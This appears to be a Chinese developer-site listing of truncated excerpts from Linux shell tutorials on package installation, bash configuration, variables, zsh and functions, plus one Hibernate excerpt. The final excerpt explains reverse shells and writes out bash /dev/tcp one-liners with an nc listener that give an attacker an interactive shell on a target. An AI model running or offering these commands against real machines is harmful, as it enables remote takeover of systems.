首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

linux可以运行apk(shell安装apk命令)

大家好,又见面了,我是你们朋友全栈君。 之前因为课程需要,也算是粗浅地了解过Linux,但是只是懂得一些编译内核,编译模块知识,并没有把Linux当做日常使用操作系统。...但是最近因为实验原因,对Linux有了兴趣,开始尝试将Linux作为日常使用操作系统。特整理记录一些使用Linux常用知识,以供日后参考。.../var/lib/apt/list 3 下载安装包进行安装 一般来说,Linux对应安装包后缀名有rpm,bin,deb,run之类。...3.1 rpm安装包 这是一种较老安装格式,是红帽创建安装格式,现在已经称为一种规范,常用在opensuse/trubo/redhat版本。...以安装jdk为例: 1.授权: #chmod x jdk-6u21-linux-i586.bin 2.安装: #.

6.8K50

Linux Shell(二)——Shell环境配置

可以使用history命令查看: history 参数 n:列出最近n条命令 -c:删除目前shell全部命令 -raw fileName:将目前shell命令写入指定文件中,若未指定文件则写入...这些信息都可以进行设置。 4.1 设置动态信息 动态信息在/etc/issue中设置,它语法和设置命令提示符PS1有写类似,不同特殊字符代表不同动态信息。...4.2 设置静态信息 静态信息在/etc/motd中设置,可以将系统公告写于此。 5 bash环境配置文件 5.1 什么是bash环境配置文件?...5.2 login shell与non-login shell区别? login shell和non-login shell是两种shell登录方式,它们登录后加载环境配置文件有所不同。...5.2.2 non-login shell 获取bash不需要输入密码登录过程称为non-login shell

12.1K50
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Linux——shell

    什么是shellshell是系统用户界面,提供了用户与内核进行交互操作一种接口(命令解释器) 。它接收用户输入命令并把它送入内核去执行。起着用户与系统之间进行交互作用。 ?...shell功能: 命令行解释 命令多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含一些命令,这些内部命令代码是整个shell代码一个组成部分; 内部命令执行是shell通过执行自己代码中相应部分来完成...命令: 可以通过执行chsh –l来得到(查看)系统支持shell种类 ?...也可以通过ls命令查看这些shell详细信息 #ls –al /bin/sh lrwxrwxrwx 1 root root  4 10月 8  2017  /bin/sh->bash Shell搜索目录名字都保存在一个

    10.7K30

    问:hibernatesessionfactory是干嘛?session又是干嘛呢?

    问:hibernatesessionfactory是干嘛?session又是干嘛呢? 在回答这个问题之前,先来看看一些概念。 一、hibernate是什么?...Hibernate是一个开放源代码对象关系映射框架,它对JDBC进行了非常轻量级对象封装,使得Java程序员可以随心所欲使用对象编程思维来操纵数据库。...Hibernate可以应用在任何使用JDBC场合,既可以在Java客户端程序使用,也可以在Servlet/JSPWeb应用中使用。...需要注意是SessionFactory并不是轻量级,因为一般情况下,一个项目通常只需要一个SessionFactory就够,当需要操作多个数据库时,可以为每个数据库指定一个SessionFactory...3》完成配置文件和映射文件加载后,将得到一个包括所有Hibernate运行期参数Configuration实例,通过Configuration实例buildSessionFactory()方法可以构建一个惟一

    2.7K40

    Linux Shell(一)——Shell变量

    1 变量分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...当前shellPID 可以通过如下命令查看当前shellPID: echo $$ ?...1.3 环境变量与局部变量区别 环境变量相当于全局变量,它可以被子进程继承;而局部变量只能在当前shell中使用。那么,什么是子进程呢? 1.4 什么是子进程?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux变量一共有5种类型,分别是:字符、整型、只读、环境变量。

    12.1K70

    LinuxBash Shell详解

    一、Bash Shell概述   1.什么是bash           bash是Bourne Again Shell简称,是从unix系统中sh发展而来,是用户和Linux内核交互工具,用户通过...3.bash历史和发展 ? 二、Bash Shell变量概述   1.变量是代表一些值符号。   2.可以通过变量来设置shell或者其他程序。   3.变量存在于内存中。   ...4.Linux有自定义变量(local)和环境变量(environment)。   5.自定义变量和环境变量作用范围不同。   ...6.可以使用以下指令查看所有变量     set可以查看所有的变量     env只能查看环境变量 三、Bash Shell设置方式   1.通过自定义变量设置     variable=value来设置...2.non-login shell:             不需要登录流程就可以执行shell,如su和原bash下新bash动作             ~/.bash_rc、/etc/bashrc

    3.2K40

    Linux超级漂亮Shell

    先来一张美图 image-20220303215422650 1 zsh 介绍 1.1 Linux shell Linux/Unix 提供了很多种 Shell,为毛要这么多 Shell?...牛程序员看到不爽 Shell,就会自己重新写一套,慢慢形成了一些标准,常用 Shell 有这么几种,sh、bash、csh 等,想知道你系统有几种 shell可以通过以下命令查看: cat /etc.../shells 显示如下: 1.2 zsh 简介 Zsh 是一个 Linux 下强大 shell, 由于大多数 Linux 产品安装,以及默认使用bash shell, 但是丝毫不影响极客们对 zsh...热衷, 几乎每一款 Linux 产品都包含有 zsh,通常可以用 apt-get、urpmi 或 yum 等包管理器进行安装 Zsh 具有以下主要功能 开箱即用、可编程命令行补全功能可以帮助用户输入各种参数以及选项.../sh 运行时可以伪装成 Bourne shell 可以定制呈现形式提示符;包括在屏幕右端显示信息,并在键入长命令时自动隐藏 可加载模块,提供其他各种支持:完整 TCP 与 Unix 域套接字控制

    3.3K20

    Linuxshell之二

    01 — 通配符 在 Shell 中除使用普通字符外,还可以使用一些具有特殊含义和功能字符,称为通配符,在使用它们时应注意其特殊含义和作用范围。...Shell 通配符主要用于模式匹配,如文件名匹配、路径名搜索、字串查找等。常用通配符有*、?...在任何可编程环境中,命令返回成功或失败指示;Linux 命令通常返回一个零值表示成功,并返回一个非零值表示失败。可以使用 && 和 || 控制操作符来将某些条件处理引入到列表中。...UID 用数字表示已登录用户用户 id HOME 用户主目录 PWD 当前工作目录 SHELL shell 名称 PATH 运行命令查找路径,以冒号:分割不同路径 HISTSIZE 保存历史命令记录条数...反引号括起来字串被 Shell 解释为命令行,在执行时,Shell 首先执行该命令行,并以它标准输出结果取代整个反引号(包括两个反引号)部分。

    75210

    linuxshell编程入门

    1.1 前言 1.1.1 为什么学Shell Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备重要工具, Linux/UNIX系统底层及基础应用软件核心大都涉及Shell脚本内容...每一个合格 Linux系统管理员或运维工程师,都需要能够熟练地编写Shell脚本语言,并能够阅 读系统及各类软件附带Shell脚本内容。...shell脚本优势在于处理操作系统底层业务 (linux系统内部应用都是shell脚本完成)因为有大量linux系统命令为它做支撑。.../usr/sbin/nologin 常用操作系统默认shell 1.Linux是Bourne Again shell(bash) 2.Solaris和FreeBSD缺省是Bourne shell...ü 变量可以在自身Shell及子Shell中使用。 ü 常用export来定义环境变量。 ü 执行env默认可以显示所有的环境变量名称及对应值。

    8.1K30

    Linux Shell 脚本

    变量是计算机编程中非常重要一个概念。变量就是可以变化量,与常量相反,例如一个固定数字,字符属于常量。变量是计算机语言中能储存计算结果或能表示值抽象概念。...定义一个变量,其实就是一种使用方便占位符,用于引用计算机内存地址,该地址可以存储运行时可更改程序信息。 变量需要赋值,这个值可以是一个数字,字符,也可以是更多内容。...变量在程序运行过程中可以不停变化。一些程序语言在定义变量时候需要声明变量类型,一些可以直接定义变量。 在 Shell 语言中,可以直接定义变量。...:23:19 ~/08.shell $ b=2 1.2 shell 变量引用 在 shell 中,直接使用“$”符,即可引用变量值;一般配合 echo 命令可以打印变量值; (base...16:23:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。

    19K10

    Linux shell function

    函数创建两种方式: function name { command; } name () { command; } 在shell中创建variable...默认都全局变量,在函数中修改后会影响到variable值,在函数中变量前添加 local 关键字可以避免修改主程序中变量值。...shell将function当做一个mini-script,因此可以用调用脚本方式来调用函数,在函数中也可以用$1,$@等方式得到传参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shellarray不太好用。 函数默认返回值是最后一条命令exit code,可以用$?...也可以用return 关键字来返回0~255任意数字,本质上也是exit code ,第三种方式是输出需要值,然后得到,result=`fname 1 2 3 ` 在fname中可以用echo打印出需要

    8.4K30

    linux--shell

    Linux shell 1、shell概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...用户可以通过shell来启动、挂起、停止。甚至编写一些程序。 2)它还是一个功能强大编程语言,易编辑,易调试,灵活性强。...shell是结核性脚本语言,在我们 shell可以直接调用linux系统命令。...在这中间就需要一个翻译机制进行编译,就是所谓shell编辑器, shell编辑器可以讲外层输入asc码翻译成计算机能识别的机器语言,所以说内核要通过shell编辑器进行翻译才能对硬件进行管理...最后就会得到我们想要结果了 3、Linux中支持shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin

    9.5K20

    Bash 脚本实现每次登录到 Shell可以查看 Linux 系统信息

    Bash 脚本实现每次登录到 Shell可以查看 Linux 系统信息 Linux 中有很多可以查看系统信息如处理器信息、生产商名字、序列号等命令。你可能需要执行多个命令来收集这些信息。...同时,记住所有的命令和他们选项也是有难度。 你可以写一个 shell 脚本 基于你需求来自定义显示信息。 以前我们出于不同目的需要写很多个 bash 脚本 。...现在我们写一个新 shell 脚本,在每次登录到 shell 时显示需要系统信息。...Bash 脚本实现每次登录到 Shell可以查看 Linux 系统信息 这个脚本会在你每次登录 shell 时把系统信息打印到 terminal。...从下次开始,你在每次登录 shell 时会看到这些信息。当然,如果有必要你也可以随时手动执行这个脚本。

    3K10

    Linux反弹shell

    port bash -i > /dev/tcp/127.0.0.1/2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到...IP地址 2345:反弹到端口 上面的是一个典型反弹shell语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp...2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式...shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入命令当成靶机输入,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令...,">&"相当于"2>&1",标准错误输出 一个标准反弹shell语句种,最好是有标准输入输出和标准输出

    10.4K00
    领券